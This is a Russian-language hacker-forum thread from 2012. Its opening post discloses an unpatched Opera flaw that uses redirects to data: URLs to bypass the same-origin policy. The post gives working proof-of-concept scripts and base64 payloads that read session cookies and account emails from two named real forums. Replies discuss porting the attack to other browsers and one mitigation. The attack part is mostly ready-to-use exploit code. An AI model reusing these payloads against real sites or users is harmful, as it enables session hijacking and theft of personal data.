XSS на любых сайтах (Opera, 0-day, обход SOP)

Discussion in 'Уязвимости' started by M_script, 5 Oct 2012.

  1. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,633
    Likes Received:
    1,248
    Reputations:
    1,555
    [​IMG] follow


    Браузер Opera позволяет выполнить XSS-атаку на любой сайт, который предоставляет возможность размещения ссылок на другие сайты.
    Уязвимы версии для Opera для Windows, Mac и Linux до 12.02 включительно (последняя версия на сегодняшний день). На версиях до 9.50 проверка не проводилась.
    Советую предварительно ознакомится со следующей информацией:
    http://ru.wikipedia.org/wiki/Правило_ограничения_домена
    http://ru.wikipedia.org/wiki/Data:_URL



    В опере при перенаправлении с сайта на data:URL через HTTP-заголовок Location свойство document.domain имеет значение последнего перенаправляющего сайта.
    Пример:
    PHP:
    <script>alert(document.domain)</script>
    PHP:
    data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+
    Ссылка, сокращенная через сервис tinyurl.com:
    http://tinyurl.com/antichat-test1

    При переходе по ссылке мы увидим алерт "tinyurl.com".
    Если нажать Ctrl+R для повтора запроса, в алерте будет уже другой домен - тот, с которого осуществлен переход на ссылку tinyurl.com/antichat-test1


    При нажатии Ctrl+R происходит не обновление текущей страницы, а полное повторение запроса. То же самое действие можно выполнить с помощью JS-метода location.reload()
    Пример:
    PHP:
    <script>
    if(
    document.domain == 'tinyurl.com')
        
    location.reload();
    else
        
    alert(document.domain);
    </script>
    PHP:
    data:text/html;base64,PHNjcmlwdD5pZihkb2N1bWVudC5kb21haW49PSd0aW55dXJsLmNvbScpbG9jYXRpb24ucmVsb2FkKCk7ZWxzZXthbGVydChkb2N1bWVudC5kb21haW4pfTwvc2NyaXB0Pg==
    Ссылка:
    http://tinyurl.com/antichat-test2

    Теперь в алерте будет домен, с которого осуществлялся переход. Согласно same origin policy это дает доступ к данным, находящимся на том же домене.


    Уязвим сайт, с которого пользователь переходит по ссылке, а не тот сайт, который перенаправлят (не tinyurl.com). "Open redirect" не нужен. Для проведения атаки на сайт достаточно возможности написать на нем ссылку.

    Vulnerable the site where user clicks the link, not the one that redirects (not tinyurl.com). "Open redirect" is not needed. To attack the site enough to write on it a link.



    PoC:
    1) Читаем куки forum.antichat.ru:
    PHP:
    <script>
    if(
    document.domain == 'tinyurl.com')
        
    location.reload();

    function 
    xss()
    {
        
    alert(document.frames[0].document.cookie);
    }

    function 
    ifrAdd()
    {
        var 
    ifr document.createElement('iframe');
        
    ifr.style 'width:0px;height:0px;visibility:hidden';
        
    ifr.src 'http';
        
    ifr.src += document.referrer.length '' 's';
        
    ifr.src += '://forum.antichat.ru/css/a.css';
        
    ifr.onload = function(){xss()};
        
    document.body.appendChild(ifr);
    }

    </script>
    <body onload=ifrAdd()>
    PHP:
    data:text/html;base64,PHNjcmlwdD5pZihkb2N1bWVudC5kb21haW49PSd0aW55dXJsLmNvbScpbG9jYXRpb24ucmVsb2FkKCk7ZnVuY3Rpb24gYSgpe2FsZXJ0KGRvY3VtZW50LmZyYW1lc1swXS5kb2N1bWVudC5jb29raWUpfWZ1bmN0aW9uIGIoKXt2YXIgaT1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdpZnJhbWUnKTtpLnN0eWxlPSd3aWR0aDowcHg7aGVpZ2h0OjBweDt2aXNpYmlsaXR5OmhpZGRlbic7aS5zcmMgPSAnaHR0cCc7aS5zcmMrPWRvY3VtZW50LnJlZmVycmVyLmxlbmd0aD8nJzoncyc7aS5zcmMrPSc6Ly9mb3J1bS5hbnRpY2hhdC5ydS9jc3MvYS5jc3MnO2kub25sb2FkPWZ1bmN0aW9uKCl7YSgpfTtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGkpfTwvc2NyaXB0Pjxib2R5IG9ubG9hZD1iKCk+
    Ссылка (пример работает при переходе по ссылке с домена forum.antichat.ru):
    http://tinyurl.com/antichat-cookie


    2) Читаем куки rdot.org
    PHP:
    <script>
    if(
    document.domain == 'tinyurl.com')
        
    location.reload();

    function 
    xss()
    {
        
    alert(document.frames[0].document.cookie);
    }

    function 
    ifrAdd()
    {
        var 
    ifr document.createElement('iframe');
        
    ifr.style 'width:0px;height:0px;visibility:hidden';
        
    ifr.src 'https://rdot.org/forum/clientscript/vbulletin_read_marker.js';
        
    ifr.onload = function(){xss()};
        
    document.body.appendChild(ifr);
    }

    </script>
    <body onload=ifrAdd()>
    PHP:
    data:text/html;base64,PHNjcmlwdD5pZihkb2N1bWVudC5kb21haW49PSd0aW55dXJsLmNvbScpbG9jYXRpb24ucmVsb2FkKCk7ZnVuY3Rpb24gYSgpe2FsZXJ0KGRvY3VtZW50LmZyYW1lc1swXS5kb2N1bWVudC5jb29raWUpfWZ1bmN0aW9uIGIoKXt2YXIgaT1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdpZnJhbWUnKTtpLnN0eWxlPSd3aWR0aDowcHg7aGVpZ2h0OjBweDt2aXNpYmlsaXR5OmhpZGRlbic7aS5zcmMgPSAnaHR0cHM6Ly9yZG90Lm9yZy9mb3J1bS9jbGllbnRzY3JpcHQvdmJ1bGxldGluX3JlYWRfbWFya2VyLmpzJztpLm9ubG9hZD1mdW5jdGlvbigpe2EoKX07ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChpKX08L3NjcmlwdD48Ym9keSBvbmxvYWQ9YigpPg==
    Ссылка (пример работает при переходе по ссылке с домена rdot.org):
    http://tinyurl.com/rdot-cookie


    3) Читаем регистрационное мыло forum.antichat.ru
    PHP:
    <script>
    if(
    document.domain == 'tinyurl.com')
        
    location.reload();

    function 
    getMail()
    {
        var 
    = new XMLHttpRequest;
        
    x.open('GET''http' + (document.referrer.length '' 's') + '://forum.antichat.ru/profile.php?do=editpassword'false);
        
    x.send(null);
        
    alert(x.responseText.match(/name="email" value="(.+?)"/)[1]);
    }
    </script>
    <body onload=getMail()>
    PHP:
    data:text/html;base64,PHNjcmlwdD5pZihkb2N1bWVudC5kb21haW49PSd0aW55dXJsLmNvbScpbG9jYXRpb24ucmVsb2FkKCk7ZnVuY3Rpb24gYSgpe3ZhciB4PW5ldyBYTUxIdHRwUmVxdWVzdDt4Lm9wZW4oJ0dFVCcsJ2h0dHAnKyhkb2N1bWVudC5yZWZlcnJlci5sZW5ndGggPyAnJyA6ICdzJykrJzovL2ZvcnVtLmFudGljaGF0LnJ1L3Byb2ZpbGUucGhwP2RvPWVkaXRwYXNzd29yZCcsZmFsc2UpO3guc2VuZChudWxsKTthbGVydCh4LnJlc3BvbnNlVGV4dC5tYXRjaCgvbmFtZT0iZW1haWwiIHZhbHVlPSIoLis/KSIvKVsxXSl9PC9zY3JpcHQ+PGJvZHkgb25sb2FkPWEoKT4=
    Ссылка (пример работает при переходе по ссылке с домена forum.antichat.ru):
    http://tinyurl.com/antichat-mail


    4) Читаем регистрационное мыло rdot.org
    PHP:
    <script>
    if(
    document.domain == 'tinyurl.com')
        
    location.reload();

    function 
    getMail()
    {
        var 
    = new XMLHttpRequest;
        
    x.open('GET''https://rdot.org/forum/profile.php?do=editpassword'false);
        
    x.send(null);
        
    alert(x.responseText.match(/name="email" value="(.+?)"/)[1]);
    }
    </script>
    <body onload=getMail()>
    PHP:
    data:text/html;base64,PHNjcmlwdD5pZihkb2N1bWVudC5kb21haW49PSd0aW55dXJsLmNvbScpbG9jYXRpb24ucmVsb2FkKCk7ZnVuY3Rpb24gYSgpe3ZhciB4PW5ldyBYTUxIdHRwUmVxdWVzdDt4Lm9wZW4oJ0dFVCcsJ2h0dHBzOi8vcmRvdC5vcmcvZm9ydW0vcHJvZmlsZS5waHA/ZG89ZWRpdHBhc3N3b3JkJyxmYWxzZSk7eC5zZW5kKG51bGwpO2FsZXJ0KHgucmVzcG9uc2VUZXh0Lm1hdGNoKC9uYW1lPSJlbWFpbCIgdmFsdWU9IiguKz8pIi8pWzFdKX08L3NjcmlwdD48Ym9keSBvbmxvYWQ9YSgpPg==
    Ссылка (пример работает при переходе по ссылке с домена rdot.org):
    http://tinyurl.com/rdot-mail



    тема на rdot.org
     
    _________________________
    #1 M_script, 5 Oct 2012
    Last edited: 7 Feb 2013
    18 people like this.
  2. VY_CMa

    VY_CMa Make Antichat Great Again

    Joined:
    6 Jan 2012
    Messages:
    900
    Likes Received:
    413
    Reputations:
    722
    ФФ тоже поддерживает data, а значит можно поколупаться =)
     
    _________________________
  3. йож

    йож Banned

    Joined:
    31 Aug 2012
    Messages:
    63
    Likes Received:
    9
    Reputations:
    0
    true.
     
  4. VY_CMa

    VY_CMa Make Antichat Great Again

    Joined:
    6 Jan 2012
    Messages:
    900
    Likes Received:
    413
    Reputations:
    722
    ФФ 16 результат на ВИЧ положительный.
    [​IMG]

    После перехода:

    [​IMG]

    [​IMG]
     
    _________________________
  5. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,633
    Likes Received:
    1,248
    Reputations:
    1,555
    VY_CMa, в ФФ не работает при редириекте с веб-сайта на data.
    Большинство сайтов запрещают использовать data в ссылках, но разрешают ссылки на http(s).
     
    _________________________
  6. VY_CMa

    VY_CMa Make Antichat Great Again

    Joined:
    6 Jan 2012
    Messages:
    900
    Likes Received:
    413
    Reputations:
    722
    M_script, сайты сайтами конечно, но кусок уязвимости остается (domain сохраняется), а это уже что-то. Спасибо.
     
    _________________________
  7. WarT

    WarT New Member

    Joined:
    4 Mar 2011
    Messages:
    2
    Likes Received:
    1
    Reputations:
    0
    пушка
     
  8. kingbeef

    kingbeef Reservists Of Antichat

    Joined:
    8 Apr 2010
    Messages:
    493
    Likes Received:
    167
    Reputations:
    126
    Миллионы в паблик(((
     
    _________________________
    1 person likes this.
  9. Rebz

    Rebz Super Moderator
    Staff Member

    Joined:
    8 Nov 2004
    Messages:
    4,194
    Likes Received:
    1,489
    Reputations:
    1,125
    Не хватает фразы: "Способов устранения уязвимости не существует в настоящее время." :)
     
    1 person likes this.
  10. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,633
    Likes Received:
    1,248
    Reputations:
    1,555
    Я не зарабатываю на уязвимостях, ты же знаешь. Это хобби.
     
    _________________________
    3 people like this.
  11. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,436
    Likes Received:
    742
    Reputations:
    833
    Радует, что кто то, из закрытых групп работает не только в группах, но и для общества в ообщем!)
     
    _________________________
    1 person likes this.
  12. GoodGoogle

    GoodGoogle Moderator

    Joined:
    5 Aug 2011
    Messages:
    1,115
    Likes Received:
    282
    Reputations:
    225
    Кроме как красавчик, сказать больше нечего!!!
     
    1 person likes this.
  13. justonline

    justonline network ninja

    Joined:
    27 Jul 2011
    Messages:
    630
    Likes Received:
    61
    Reputations:
    53
    не миллионы...оперой пользуются не так уж и много народа)
     
  14. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,633
    Likes Received:
    1,248
    Reputations:
    1,555
    В мире почти никто не пользуется, в России 16.6%.
     
    _________________________
  15. PRosTo_LEva

    PRosTo_LEva Elder - Старейшина

    Joined:
    18 Apr 2007
    Messages:
    442
    Likes Received:
    128
    Reputations:
    106
    M_script, большое спасибо.

    Безумно приятно что есть такие люди как Вы. Читая о подобных достижениях начинаешь задумываться о том, что далеко не всё безупречно в этом мире.
     
  16. VY_CMa

    VY_CMa Make Antichat Great Again

    Joined:
    6 Jan 2012
    Messages:
    900
    Likes Received:
    413
    Reputations:
    722
    _________________________
    1 person likes this.
  17. shumaher

    shumaher New Member

    Joined:
    16 Feb 2009
    Messages:
    16
    Likes Received:
    2
    Reputations:
    0
    Два пальца обоссать.
    Менять юрлы в линках. Например:
    po6olkudahotel.site.ru/tinyurl.com/blabla
    Чтобы редиректил и не взаимодействовал с основным сайтом, не хранил кук и.т.д.
     
  18. postscripter

    postscripter New Member

    Joined:
    25 Aug 2012
    Messages:
    9
    Likes Received:
    0
    Reputations:
    0
    http://rutracker.org/forum/viewtopic.php?t=4220697 Чья работа? :D
     
  19. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,633
    Likes Received:
    1,248
    Reputations:
    1,555
    Редирект через картинку - это другая уязвмость оперы. В теме описана не она.
     
    _________________________
  20. obj

    obj New Member

    Joined:
    1 Mar 2012
    Messages:
    10
    Likes Received:
    0
    Reputations:
    0
    Для хрома способа никто не нашел ли?Пробовал через фрейм на своем сервере но там вылезал пустой алерт :(
     
Loading...